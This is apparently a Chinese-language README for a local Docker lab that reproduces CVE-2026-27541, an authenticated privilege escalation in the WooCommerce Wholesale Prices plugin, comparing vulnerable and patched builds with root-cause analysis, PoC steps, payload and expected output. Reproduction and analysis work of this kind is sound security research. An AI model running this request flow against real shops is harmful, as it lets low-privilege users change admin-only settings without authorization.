# 用于复现 CVE-2026-27541 的 Docker 实验环境,该漏洞是 WooCommerce Wholesale Prices 中的已认证权限提升漏洞。对比存在漏洞与已修复的构建版本,包含 PoC 脚本及根因分析。

本项目是一个本地 Docker 实验室,用于分析和复现 WooCommerce Wholesale Prices / Wholesale Suite 插件中 CVE-2026-27541 的行为,方法是在同一台机器上并排对比易受攻击和已修补的构建版本。
核心问题出在以下 REST API 端点中的访问控制失效:
/wp-json/wwp/v1/admin/save
根据本实验室使用的源代码,该路由在易受攻击和已修补的构建版本中都已经包含了 permission_callback。然而,受影响版本使用的权限检查对于管理员设置写入操作来说过于宽泛:
2.2.6) → current_user_can( 'manage_woocommerce' )2.2.7) → current_user_can( 'manage_options' )在本实验室中,拥有 shop_manager 角色的用户 shopmgr 具有 manage_woocommerce=true,但不具有 manage_options。因此,这个低权限用户可以利用有效的登录会话加上有效的 X-WP-Nonce 在易受攻击的构建版本上调用管理员设置保存端点,而已修补的构建版本对相同请求返回 403 rest_forbidden。
2.2.6):用户 shopmgr 可以成功调用 POST /wp-json/wwp/v1/admin/save 并修改插件设置。2.2.7):来自 shopmgr 的相同请求被拒绝并返回 403。403,这与认证后权限提升问题的性质一致。wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC,而已修补的构建版本仍然返回 See wholesale prices。vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7db-vuln / db-patched → 独立的 MariaDB 数据库seed-vuln / seed-patched → wp-cli 种子任务,负责安装 WordPress、安装插件、创建用户以及创建用于测试的产品http://localhost:8081 → 易受攻击http://localhost:8082 → 已修补wordpress:6.8.1-php8.2-apachemariadb:11.4.5wordpress:cli-php8.2.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
docker-compose.yml — 定义具有独立数据库的易受攻击和已修补堆栈scripts/seed-wp.sh — 安装 WordPress、WooCommerce、目标插件,并创建测试用户和产品数据poc.py — 用于登录、nonce 提取和 REST 端点调用的最小危害 PoC堆栈就绪后,种子脚本会创建以下内容:
admin / AdminPass!234shopmgr / ShopMgrPass!234lab-product10050WooCommerce:10.6.0
WooCommerce Wholesale Prices:
2.2.62.2.7该脚本还会将 lab-secrets.json 写入每个 WordPress 容器,以便验证种子数据和版本信息。
此 PoC 不会尝试接管站点、更改角色、安装插件或执行 shell。
它只执行以下操作:
shopmgr 身份登录wpApiSettings.noncewwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
该设置用作可观察的标记,以证明低权限用户可以修改仅限管理员的配置。
POST /wp-json/wwp/v1/admin/save尽管该端点需要有效的会话和 nonce,但易受攻击的版本仍然允许像 shopmgr 这样具有 shop_manager 角色的低权限用户调用本应仅限管理员的端点。
这不是一个未认证漏洞。
如果直接调用端点而没有登录会话,易受攻击和已修补的构建版本都会拒绝该请求。该缺陷存在于认证后的授权中,而非认证本身。
易受攻击的版本并非缺少 permission_callback。缺陷在于它对写入管理员端设置的 REST 操作使用了过于宽泛的权限检查(manage_woocommerce)。
根据 includes/class-wwp-admin-settings.php 中的源代码:
POST /wp-json/wwp/v1/admin/savesave_registered_settings()permission_admin_check() 作为 permission_callback2.2.6)if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
2.2.7)if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
在本实验室中,拥有 shop_manager 角色的用户 shopmgr 具有 manage_woocommerce=true 但不具有 manage_options,因此它通过了易受攻击的检查,但在已修补的检查中失败。
已修补版本不仅仅是把响应从 200 改为 403。它通过将权限要求从 manage_woocommerce 收紧为 manage_options 来改变访问控制逻辑。
此外,已修补构建版本中的保存路径通过从基于前缀的过滤转向显式白名单和更强的清理机制而得到进一步加固。
PoC 遵循与真实浏览器上下文相同的流程:
shopmgr 身份登录wpApiSettings.noncePOST /wp-json/wwp/v1/admin/save由于易受攻击的构建版本允许具有 manage_woocommerce 权限的用户调用此设置写入操作,因此请求成功并导致持久性的选项更改。
nonce 有助于防范 CSRF,但它不是授权控制。
拥有有效的会话和有效的 nonce 并不意味着用户应该被允许执行管理员操作。在特权端点上使用过于宽泛的权限就足以造成低权限授权绕过。
docker compose up -d --build
docker compose ps
您应该至少看到:
cve-2026-27541-vuln-1cve-2026-27541-patched-1cve-2026-27541-db-vuln-1cve-2026-27541-db-patched-1docker compose logs -f seed-vuln seed-patched
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
poc.py 的工作方式如下:
GET /wp-login.php
POST /wp-login.php 以建立认证会话
打开插件管理页面:
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
从 HTML/JavaScript 中提取 wpApiSettings.nonce 和 REST 根路径
向以下地址发送请求:
/wp-json/wwp/v1/admin/save
提交载荷:
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
8081)预期输出:
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
8082)预期输出:
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
在 PoC 在易受攻击节点上成功之后:
PWNED_BY_POC
此类漏洞的实际影响在于,低权限用户可以修改本应仅限管理员的配置,这可能直接导致:
本实验室有意使用安全且可观察的载荷,以避免角色更改或任何超出证明漏洞条件所需的权限提升。
docker compose down -v
localhost本实验室表明,CVE-2026-27541 是插件 REST API 设置端点中的已认证低权限授权绕过。2.2.6 版本中的缺陷并非缺少权限检查,而是对本应限制在 manage_options 级别的操作使用了过于宽泛的权限(manage_woocommerce)。
在此本地环境中:
shopmgr 通过易受攻击的检查,可以成功通过 POST /wp-json/wwp/v1/admin/save 修改管理员端设置2.2.7 上被阻止PWNED_BY_POC,而已修补的构建版本不会因此,该仓库在完全受控的本地环境中,既提供了行为层面的证明,也提供了代码层面的证明,展示了易受攻击与已修补版本之间的差异。